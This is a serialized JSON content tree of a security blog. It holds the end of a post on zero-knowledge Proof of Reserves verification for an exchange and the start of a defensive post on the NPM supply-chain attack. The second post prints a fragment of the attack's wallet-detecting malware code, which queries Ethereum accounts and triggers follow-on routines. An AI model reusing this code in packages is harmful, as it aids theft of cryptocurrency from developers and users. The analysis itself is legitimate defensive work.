value":14657},{"type":22,"tag":101,"props":99893,"children":99895},{"className":99894},[8053,25575],[99896],{"type":27,"value":87852},{"type":22,"tag":101,"props":99898,"children":99900},{"className":99899,"style":8231},[8133],[],{"type":22,"tag":101,"props":99902,"children":99904},{"className":99903},[8236],[99905],{"type":27,"value":4340},{"type":22,"tag":101,"props":99907,"children":99909},{"className":99908,"style":8231},[8133],[],{"type":22,"tag":101,"props":99911,"children":99913},{"className":99912},[8042],[99914,99918,99923,99928,99933,99938,99943,99948,99953,99958,99963,100020,100025,100029,100034,100039,100096,100101,100105,100110,100115,100119,100124,100129,100191],{"type":22,"tag":101,"props":99915,"children":99917},{"className":99916,"style":8154},[8047],[],{"type":22,"tag":101,"props":99919,"children":99921},{"className":99920,"style":25576},[8053,25575],[99922],{"type":27,"value":25579},{"type":22,"tag":101,"props":99924,"children":99926},{"className":99925},[8053,25575],[99927],{"type":27,"value":96508},{"type":22,"tag":101,"props":99929,"children":99931},{"className":99930},[8053,25575],[99932],{"type":27,"value":7774},{"type":22,"tag":101,"props":99934,"children":99936},{"className":99935},[8053,25575],[99937],{"type":27,"value":74069},{"type":22,"tag":101,"props":99939,"children":99941},{"className":99940},[8053,25575],[99942],{"type":27,"value":96524},{"type":22,"tag":101,"props":99944,"children":99946},{"className":99945},[8053,25575],[99947],{"type":27,"value":60400},{"type":22,"tag":101,"props":99949,"children":99951},{"className":99950},[25704],[99952],{"type":27,"value":980},{"type":22,"tag":101,"props":99954,"children":99956},{"className":99955},[8053,25575],[99957],{"type":27,"value":98022},{"type":22,"tag":101,"props":99959,"children":99961},{"className":99960},[8053,25575],[99962],{"type":27,"value":14657},{"type":22,"tag":101,"props":99964,"children":99966},{"className":99965},[8053],[99967,99972],{"type":22,"tag":101,"props":99968,"children":99970},{"className":99969},[8053,25575],[99971],{"type":27,"value":87852},{"type":22,"tag":101,"props":99973,"children":99975},{"className":99974},[8069],[99976],{"type":22,"tag":101,"props":99977,"children":99979},{"className":99978},[8074,25629],[99980,100009],{"type":22,"tag":101,"props":99981,"children":99983},{"className":99982},[8079],[99984,100004],{"type":22,"tag":101,"props":99985,"children":99987},{"className":99986,"style":96606},[8084],[99988],{"type":22,"tag":101,"props":99989,"children":99990},{"style":96610},[99991,99995],{"type":22,"tag":101,"props":99992,"children":99994},{"className":99993,"style":8094},[8093],[],{"type":22,"tag":101,"props":99996,"children":99998},{"className":99997},[8099,8100,8101,8102],[99999],{"type":22,"tag":101,"props":100000,"children":100002},{"className":100001},[8053,8102],[100003],{"type":27,"value":8065},{"type":22,"tag":101,"props":100005,"children":100007},{"className":100006},[25732],[100008],{"type":27,"value":25735},{"type":22,"tag":101,"props":100010,"children":100012},{"className":100011},[8079],[100013],{"type":22,"tag":101,"props":100014,"children":100016},{"className":100015,"style":96637},[8084],[100017],{"type":22,"tag":101,"props":100018,"children":100019},{},[],{"type":22,"tag":101,"props":100021,"children":100023},{"className":100022},[8165],[100024],{"type":27,"value":8168},{"type":22,"tag":101,"props":100026,"children":100028},{"className":100027,"style":8172},[8133],[],{"type":22,"tag":101,"props":100030,"children":100032},{"className":100031},[8053,25575],[100033],{"type":27,"value":98022},{"type":22,"tag":101,"props":100035,"children":100037},{"className":100036},[8053,25575],[100038],{"type":27,"value":14657},{"type":22,"tag":101,"props":100040,"children":100042},{"className":100041},[8053],[100043,100048],{"type":22,"tag":101,"props":100044,"children":100046},{"className":100045},[8053,25575],[100047],{"type":27,"value":87852},{"type":22,"tag":101,"props":100049,"children":100051},{"className":100050},[8069],[100052],{"type":22,"tag":101,"props":100053,"children":100055},{"className":100054},[8074,25629],[100056,100085],{"type":22,"tag":101,"props":100057,"children":100059},{"className":100058},[8079],[100060,100080],{"type":22,"tag":101,"props":100061,"children":100063},{"className":100062,"style":96606},[8084],[100064],{"type":22,"tag":101,"props":100065,"children":100066},{"style":96610},[100067,100071],{"type":22,"tag":101,"props":100068,"children":100070},{"className":100069,"style":8094},[8093],[],{"type":22,"tag":101,"props":100072,"children":100074},{"className":100073},[8099,8100,8101,8102],[100075],{"type":22,"tag":101,"props":100076,"children":100078},{"className":100077},[8053,8102],[100079],{"type":27,"value":6813},{"type":22,"tag":101,"props":100081,"children":100083},{"className":100082},[25732],[100084],{"type":27,"value":25735},{"type":22,"tag":101,"props":100086,"children":100088},{"className":100087},[8079],[100089],{"type":22,"tag":101,"props":100090,"children":100092},{"className":100091,"style":96637},[8084],[100093],{"type":22,"tag":101,"props":100094,"children":100095},{},[],{"type":22,"tag":101,"props":100097,"children":100099},{"className":100098},[8165],[100100],{"type":27,"value":8168},{"type":22,"tag":101,"props":100102,"children":100104},{"className":100103,"style":8172},[8133],[],{"type":22,"tag":101,"props":100106,"children":100108},{"className":100107},[8053],[100109],{"type":27,"value":614},{"type":22,"tag":101,"props":100111,"children":100113},{"className":100112},[8165],[100114],{"type":27,"value":8168},{"type":22,"tag":101,"props":100116,"children":100118},{"className":100117,"style":8172},[8133],[],{"type":22,"tag":101,"props":100120,"children":100122},{"className":100121},[8053,25575],[100123],{"type":27,"value":98022},{"type":22,"tag":101,"props":100125,"children":100127},{"className":100126},[8053,25575],[100128],{"type":27,"value":14657},{"type":22,"tag":101,"props":100130,"children":100132},{"className":100131},[8053],[100133,100138],{"type":22,"tag":101,"props":100134,"children":100136},{"className":100135},[8053,25575],[100137],{"type":27,"value":87852},{"type":22,"tag":101,"props":100139,"children":100141},{"className":100140},[8069],[100142],{"type":22,"tag":101,"props":100143,"children":100145},{"className":100144},[8074,25629],[100146,100180],{"type":22,"tag":101,"props":100147,"children":100149},{"className":100148},[8079],[100150,100175],{"type":22,"tag":101,"props":100151,"children":100153},{"className":100152,"style":96606},[8084],[100154],{"type":22,"tag":101,"props":100155,"children":100156},{"style":96610},[100157,100161],{"type":22,"tag":101,"props":100158,"children":100160},{"className":100159,"style":8094},[8093],[],{"type":22,"tag":101,"props":100162,"children":100164},{"className":100163},[8099,8100,8101,8102],[100165],{"type":22,"tag":101,"props":100166,"children":100168},{"className":100167},[8053,8102],[100169],{"type":22,"tag":101,"props":100170,"children":100172},{"className":100171},[8053,8102],[100173],{"type":27,"value":100174},"31",{"type":22,"tag":101,"props":100176,"children":100178},{"className":100177},[25732],[100179],{"type":27,"value":25735},{"type":22,"tag":101,"props":100181,"children":100183},{"className":100182},[8079],[100184],{"type":22,"tag":101,"props":100185,"children":100187},{"className":100186,"style":96637},[8084],[100188],{"type":22,"tag":101,"props":100189,"children":100190},{},[],{"type":22,"tag":101,"props":100192,"children":100194},{"className":100193},[25726],[100195],{"type":27,"value":2261},{"type":27,"value":2169},{"type":22,"tag":9370,"props":100198,"children":100199},{},[100200],{"type":27,"value":98342},{"type":22,"tag":6832,"props":100202,"children":100203},{},[100204,100209,100210],{"type":22,"tag":6961,"props":100205,"children":100206},{},[100207],{"type":27,"value":100208},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":27,"value":2169},{"type":22,"tag":9370,"props":100211,"children":100212},{},[100213],{"type":27,"value":98626},{"type":22,"tag":23,"props":100215,"children":100216},{},[100217],{"type":27,"value":100218},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":22,"tag":23,"props":100220,"children":100221},{},[100222],{"type":22,"tag":7959,"props":100223,"children":100225},{"alt":54574,"src":100224},"/posts/por/recursive-circuit.png",[],{"type":22,"tag":53,"props":100227,"children":100229},{"id":100228},"global-proof-and-inclusion-proofs",[100230],{"type":27,"value":100231},"Global Proof and Inclusion Proofs",{"type":22,"tag":1760,"props":100233,"children":100234},{"id":13290},[100235],{"type":27,"value":100236},"Proving",{"type":22,"tag":23,"props":100238,"children":100239},{},[100240,100242,100248,100249,100255,100256,100262],{"type":27,"value":100241},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":22,"tag":30,"props":100243,"children":100245},{"className":100244},[],[100246],{"type":27,"value":100247},"merkle_tree.json",{"type":27,"value":758},{"type":22,"tag":30,"props":100250,"children":100252},{"className":100251},[],[100253],{"type":27,"value":100254},"final_proof.json",{"type":27,"value":10515},{"type":22,"tag":30,"props":100257,"children":100259},{"className":100258},[],[100260],{"type":27,"value":100261},"private_nonces.json",{"type":27,"value":100263}," files.",{"type":22,"tag":23,"props":100265,"children":100266},{},[100267],{"type":27,"value":100268},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":22,"tag":23,"props":100270,"children":100271},{},[100272,100274,100280,100282,100287],{"type":27,"value":100273},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":22,"tag":30,"props":100275,"children":100277},{"className":100276},[],[100278],{"type":27,"value":100279},"inclusion_proof_\u003Cid>.json",{"type":27,"value":100281},"). ",{"type":22,"tag":6961,"props":100283,"children":100284},{},[100285],{"type":27,"value":100286},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":27,"value":231},{"type":22,"tag":1760,"props":100289,"children":100291},{"id":100290},"verifying",[100292],{"type":27,"value":100293},"Verifying",{"type":22,"tag":23,"props":100295,"children":100296},{},[100297],{"type":22,"tag":9370,"props":100298,"children":100299},{},[100300],{"type":27,"value":100301},"Global Proof",{"type":22,"tag":23,"props":100303,"children":100304},{},[100305,100307,100312,100313,100318],{"type":27,"value":100306},"To verify the global proof, the code deserializes the ",{"type":22,"tag":30,"props":100308,"children":100310},{"className":100309},[],[100311],{"type":27,"value":100247},{"type":27,"value":41546},{"type":22,"tag":30,"props":100314,"children":100316},{"className":100315},[],[100317],{"type":27,"value":100254},{"type":27,"value":100319}," files and performs these checks:",{"type":22,"tag":6828,"props":100321,"children":100322},{},[100323,100328,100333,100338,100364],{"type":22,"tag":6832,"props":100324,"children":100325},{},[100326],{"type":27,"value":100327},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":22,"tag":6832,"props":100329,"children":100330},{},[100331],{"type":27,"value":100332},"Verify the ZK final proof.",{"type":22,"tag":6832,"props":100334,"children":100335},{},[100336],{"type":27,"value":100337},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":22,"tag":6832,"props":100339,"children":100340},{},[100341,100343,100349,100351,100356,100357,100362],{"type":27,"value":100342},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":22,"tag":30,"props":100344,"children":100346},{"className":100345},[],[100347],{"type":27,"value":100348},"merkle_tree_hash",{"type":27,"value":100350}," public input. This ensures that the ",{"type":22,"tag":30,"props":100352,"children":100354},{"className":100353},[],[100355],{"type":27,"value":100247},{"type":27,"value":209},{"type":22,"tag":30,"props":100358,"children":100360},{"className":100359},[],[100361],{"type":27,"value":100254},{"type":27,"value":100363}," are linked (they belong to the same global proof).",{"type":22,"tag":6832,"props":100365,"children":100366},{},[100367],{"type":27,"value":100368},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":22,"tag":23,"props":100370,"children":100371},{},[100372],{"type":22,"tag":9370,"props":100373,"children":100374},{},[100375],{"type":27,"value":100376},"Inclusion Proof",{"type":22,"tag":23,"props":100378,"children":100379},{},[100380,100382,100387,100389,100394],{"type":27,"value":100381},"To verify the inclusion proof, the code deserializes the ",{"type":22,"tag":30,"props":100383,"children":100385},{"className":100384},[],[100386],{"type":27,"value":100279},{"type":27,"value":100388}," file and also the ",{"type":22,"tag":30,"props":100390,"children":100392},{"className":100391},[],[100393],{"type":27,"value":100254},{"type":27,"value":100395},". After that, it performs these checks:",{"type":22,"tag":6828,"props":100397,"children":100398},{},[100399,100403,100408,100413],{"type":22,"tag":6832,"props":100400,"children":100401},{},[100402],{"type":27,"value":100332},{"type":22,"tag":6832,"props":100404,"children":100405},{},[100406],{"type":27,"value":100407},"Verify if the Merkle tree root is the same as in the final proof.",{"type":22,"tag":6832,"props":100409,"children":100410},{},[100411],{"type":27,"value":100412},"Recalculate the user-related node leaf hash.",{"type":22,"tag":6832,"props":100414,"children":100415},{},[100416],{"type":27,"value":100417},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":22,"tag":53,"props":100419,"children":100421},{"id":100420},"por-verifier-server",[100422],{"type":27,"value":100423},"PoR Verifier Server",{"type":22,"tag":23,"props":100425,"children":100426},{},[100427,100429,100435],{"type":27,"value":100428},"To automate the verification process, we created a ",{"type":22,"tag":80,"props":100430,"children":100432},{"href":96065,"rel":100431},[84],[100433],{"type":27,"value":100434},"verifier server",{"type":27,"value":100436}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":22,"tag":23,"props":100438,"children":100439},{},[100440],{"type":27,"value":100441},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":22,"tag":23,"props":100443,"children":100444},{},[100445],{"type":22,"tag":7959,"props":100446,"children":100448},{"alt":54574,"src":100447},"/posts/por/backpack-por.png",[],{"type":22,"tag":23,"props":100450,"children":100451},{},[100452],{"type":27,"value":100453},"Here is a breakdown of what fields represent and why they are required:",{"type":22,"tag":6839,"props":100455,"children":100456},{},[100457,100467,100477,100487,100497,100507],{"type":22,"tag":6832,"props":100458,"children":100459},{},[100460,100465],{"type":22,"tag":9370,"props":100461,"children":100462},{},[100463],{"type":27,"value":100464},"Status",{"type":27,"value":100466}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":22,"tag":6832,"props":100468,"children":100469},{},[100470,100475],{"type":22,"tag":9370,"props":100471,"children":100472},{},[100473],{"type":27,"value":100474},"Proof Timestamp",{"type":27,"value":100476}," --> when the proof was generated by the exchange.",{"type":22,"tag":6832,"props":100478,"children":100479},{},[100480,100485],{"type":22,"tag":9370,"props":100481,"children":100482},{},[100483],{"type":27,"value":100484},"Verify Timestamp",{"type":27,"value":100486}," --> when the proof was verified by the PoR server.",{"type":22,"tag":6832,"props":100488,"children":100489},{},[100490,100495],{"type":22,"tag":9370,"props":100491,"children":100492},{},[100493],{"type":27,"value":100494},"Proof File URL",{"type":27,"value":100496}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":22,"tag":6832,"props":100498,"children":100499},{},[100500,100505],{"type":22,"tag":9370,"props":100501,"children":100502},{},[100503],{"type":27,"value":100504},"Prover Version",{"type":27,"value":100506}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":22,"tag":6832,"props":100508,"children":100509},{},[100510,100515],{"type":22,"tag":9370,"props":100511,"children":100512},{},[100513],{"type":27,"value":100514},"File Hash (SHA256)",{"type":27,"value":100516}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":22,"tag":23,"props":100518,"children":100519},{},[100520],{"type":27,"value":100521},"Also, you can check the exchange's liabilities on the website:",{"type":22,"tag":23,"props":100523,"children":100524},{},[100525],{"type":22,"tag":7959,"props":100526,"children":100528},{"alt":54574,"src":100527},"/posts/por/backpack-por-liabilities.png",[],{"type":22,"tag":23,"props":100530,"children":100531},{},[100532,100534,100540,100542,100548],{"type":27,"value":100533},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":22,"tag":80,"props":100535,"children":100538},{"href":100536,"rel":100537},"https://backpack.exchange/reserves",[84],[100539],{"type":27,"value":100536},{"type":27,"value":100541}," and our verifier server for backpack at ",{"type":22,"tag":80,"props":100543,"children":100546},{"href":100544,"rel":100545},"https://backpack-por.osec.io/",[84],[100547],{"type":27,"value":100544},{"type":27,"value":231},{"type":22,"tag":53,"props":100550,"children":100552},{"id":100551},"self-verification",[100553],{"type":27,"value":100554},"Self-verification",{"type":22,"tag":23,"props":100556,"children":100557},{},[100558],{"type":27,"value":100559},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":22,"tag":1760,"props":100561,"children":100563},{"id":100562},"how-to-verify-if-i-was-included",[100564],{"type":27,"value":100565},"How to verify if I was included?",{"type":22,"tag":23,"props":100567,"children":100568},{},[100569],{"type":27,"value":100570},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":22,"tag":6828,"props":100572,"children":100573},{},[100574,100585,100603],{"type":22,"tag":6832,"props":100575,"children":100576},{},[100577,100584],{"type":22,"tag":80,"props":100578,"children":100581},{"href":100579,"rel":100580},"https://github.com/otter-sec/por_v2/releases",[84],[100582],{"type":27,"value":100583},"Download the PoRv2 executable from our github",{"type":27,"value":231},{"type":22,"tag":6832,"props":100586,"children":100587},{},[100588,100590,100595,100596,100601],{"type":27,"value":100589},"Download the inclusion and the final proof files from the exchange (",{"type":22,"tag":30,"props":100591,"children":100593},{"className":100592},[],[100594],{"type":27,"value":100279},{"type":27,"value":209},{"type":22,"tag":30,"props":100597,"children":100599},{"className":100598},[],[100600],{"type":27,"value":100254},{"type":27,"value":100602},") and put the files in the same directory as the PoRv2 app.",{"type":22,"tag":6832,"props":100604,"children":100605},{},[100606,100608,100614],{"type":27,"value":100607},"Open the terminal and execute this: ",{"type":22,"tag":30,"props":100609,"children":100611},{"className":100610},[],[100612],{"type":27,"value":100613},"./plonky2_por verify-inclusion",{"type":27,"value":231},{"type":22,"tag":23,"props":100616,"children":100617},{},[100618],{"type":27,"value":100619},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":22,"tag":91,"props":100621,"children":100623},{"code":100622},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[100624],{"type":22,"tag":30,"props":100625,"children":100626},{"__ignoreMap":7},[100627],{"type":27,"value":100622},{"type":22,"tag":1760,"props":100629,"children":100631},{"id":100630},"how-can-i-verify-the-global-proof",[100632],{"type":27,"value":100633},"How can I verify the global proof?",{"type":22,"tag":23,"props":100635,"children":100636},{},[100637],{"type":27,"value":100638},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":22,"tag":6828,"props":100640,"children":100641},{},[100642,100651,100669],{"type":22,"tag":6832,"props":100643,"children":100644},{},[100645,100650],{"type":22,"tag":80,"props":100646,"children":100648},{"href":100579,"rel":100647},[84],[100649],{"type":27,"value":100583},{"type":27,"value":231},{"type":22,"tag":6832,"props":100652,"children":100653},{},[100654,100656,100661,100662,100667],{"type":27,"value":100655},"Download the ",{"type":22,"tag":30,"props":100657,"children":100659},{"className":100658},[],[100660],{"type":27,"value":100247},{"type":27,"value":41546},{"type":22,"tag":30,"props":100663,"children":100665},{"className":100664},[],[100666],{"type":27,"value":100254},{"type":27,"value":100668}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":22,"tag":6832,"props":100670,"children":100671},{},[100672,100674,100679],{"type":27,"value":100673},"Open the terminal and execute ",{"type":22,"tag":30,"props":100675,"children":100677},{"className":100676},[],[100678],{"type":27,"value":100613},{"type":27,"value":100680},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":22,"tag":23,"props":100682,"children":100683},{},[100684],{"type":27,"value":100685},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":22,"tag":91,"props":100687,"children":100689},{"code":100688},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[100690],{"type":22,"tag":30,"props":100691,"children":100692},{"__ignoreMap":7},[100693],{"type":27,"value":100688},{"type":22,"tag":23,"props":100695,"children":100696},{},[100697],{"type":27,"value":100698},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":22,"tag":91,"props":100700,"children":100702},{"code":100701},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[100703],{"type":22,"tag":30,"props":100704,"children":100705},{"__ignoreMap":7},[100706],{"type":27,"value":100701},{"type":22,"tag":53,"props":100708,"children":100709},{"id":6776},[100710],{"type":27,"value":6779},{"type":22,"tag":23,"props":100712,"children":100713},{},[100714],{"type":27,"value":100715},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":22,"tag":23,"props":100717,"children":100718},{},[100719,100721,100727],{"type":27,"value":100720},"We are currently working with Backpack to implement this algorithm ",{"type":22,"tag":80,"props":100722,"children":100724},{"href":100536,"rel":100723},[84],[100725],{"type":27,"value":100726},"in production",{"type":27,"value":100728}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":22,"tag":23,"props":100730,"children":100731},{},[100732,100734,100741],{"type":27,"value":100733},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":22,"tag":80,"props":100735,"children":100738},{"href":100736,"rel":100737},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[84],[100739],{"type":27,"value":100740},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":27,"value":231},{"title":7,"searchDepth":157,"depth":157,"links":100743},[100744,100745,100746,100747,100750,100755,100759,100760,100764],{"id":95993,"depth":157,"text":95996},{"id":96074,"depth":157,"text":96077},{"id":96144,"depth":157,"text":96147},{"id":96198,"depth":157,"text":96201,"children":100748},[100749],{"id":96277,"depth":182,"text":96280},{"id":96365,"depth":157,"text":96368,"children":100751},[100752,100753,100754],{"id":96438,"depth":182,"text":96441},{"id":96910,"depth":182,"text":96913},{"id":98649,"depth":182,"text":98652},{"id":100228,"depth":157,"text":100231,"children":100756},[100757,100758],{"id":13290,"depth":182,"text":100236},{"id":100290,"depth":182,"text":100293},{"id":100420,"depth":157,"text":100423},{"id":100551,"depth":157,"text":100554,"children":100761},[100762,100763],{"id":100562,"depth":182,"text":100565},{"id":100630,"depth":182,"text":100633},{"id":6776,"depth":157,"text":6779},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":100769,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":100770,"description":100771,"date":100772,"author":35196,"image":100773,"isFeatured":15,"onBlogPage":15,"tags":100776,"body":100779,"_type":6912,"_id":103205,"_source":6914,"_file":103206,"_stem":103207,"_extension":6917},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":100774,"width":100775,"height":17626},"/posts/supply-chain-attcks/title.png",1536,[100777,100778],"npm","supply-chain",{"type":19,"children":100780,"toc":103188},[100781,100794,100799,100804,100810,100815,100823,101153,101161,101724,101732,102439,102445,102450,102456,102461,102466,102472,102477,102489,102494,102520,102607,102619,102644,102660,102665,102670,102876,102918,102923,102935,102941,102953,102995,103008,103088,103100,103113,103120,103131,103139,103145,103158,103163,103167,103172,103184],{"type":22,"tag":23,"props":100782,"children":100783},{},[100784,100786,100792],{"type":27,"value":100785},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":22,"tag":30,"props":100787,"children":100789},{"className":100788},[],[100790],{"type":27,"value":100791},"chalk",{"type":27,"value":100793},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":22,"tag":23,"props":100795,"children":100796},{},[100797],{"type":27,"value":100798},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":22,"tag":23,"props":100800,"children":100801},{},[100802],{"type":27,"value":100803},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":22,"tag":53,"props":100805,"children":100807},{"id":100806},"qix-malware-how-it-worked",[100808],{"type":27,"value":100809},"Qix Malware: How It Worked",{"type":22,"tag":23,"props":100811,"children":100812},{},[100813],{"type":27,"value":100814},"The attacker published modified versions of packages with code designed to do three things:",{"type":22,"tag":6828,"props":100816,"children":100817},{},[100818],{"type":22,"tag":6832,"props":100819,"children":100820},{},[100821],{"type":27,"value":100822},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":22,"tag":91,"props":100824,"children":100826},{"code":100825,"language":35361,"meta":7,"className":35359,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[100827],{"type":22,"tag":30,"props":100828,"children":100829},{"__ignoreMap":7},[100830,100850,100862,100906,100923,100930,100966,100978,101006,101026,101046,101058,101065,101100,101120,101132,101139,101146],{"type":22,"tag":101,"props":100831,"children":100832},{"class":103,"line":104},[100833,100837,100841,100846],{"type":22,"tag":101,"props":100834,"children":100835},{"style":108},[100836],{"type":27,"value":40142},{"type":22,"tag":101,"props":100838,"children":100839},{"style":108},[100840],{"type":27,"value":42210},{"type":22,"tag":101,"props":100842,"children":100843},{"style":926},[100844],{"type":27,"value":100845}," checkethereumw",{"type":22,"tag":101,"props":100847,"children":100848},{"style":120},[100849],{"type":27,"value":19734},{"type":22,"tag":101,"props":100851,"children":100852},{"class":103,"line":157},[100853,100858],{"type":22,"tag":101,"props":100854,"children":100855},{"style":3595},[100856],{"type":27,"value":100857}," try",{"type":22,"tag":101,"props":100859,"children":100860},{"style":120},[100861],{"type":27,"value":154},{"type":22,"tag":101,"props":100863,"children":100864},{"class":103,"line":182},[100865,100869,100874,100878,100882,100886,100890,100894,100898,100902],{"type":22,"tag":101,"props":100866,"children":100867},{"style":108},[100868],{"type":27,"value":55664},{"type":22,"tag":101,"props":100870,"children":100871},{"style":126},[100872],{"type":27,"value":100873}," _0x124ed3",{"type":22,"tag":101,"props":100875,"children":100876},{"style":166},[100877],{"type":27,"value":960},{"type":22,"tag":101,"props":100879,"children":100880},{"style":3595},[100881],{"type":27,"value":40207},{"type":22,"tag":101,"props":100883,"children":100884},{"style":126},[100885],{"type":27,"value":35404},{"type":22,"tag":101,"props":100887,"children":100888},{"style":120},[100889],{"type":27,"value":231},{"type":22,"tag":101,"props":100891,"children":100892},{"style":126},[100893],{"type":27,"value":35413},{"type":22,"tag":101,"props":100895,"children":100896},{"style":120},[100897],{"type":27,"value":231},{"type":22,"tag":101,"props":100899,"children":100900},{"style":926},[100901],{"type":27,"value":35489},{"type":22,"tag":101,"props":100903,"children":100904},{"style":120},[100905],{"type":27,"value":19142},{"type":22,"tag":101,"props":100907,"children":100908},{"class":103,"line":367},[100909,100914,100918],{"type":22,"tag":101,"props":100910,"children":100911},{"style":6476},[100912],{"type":27,"value":100913}," 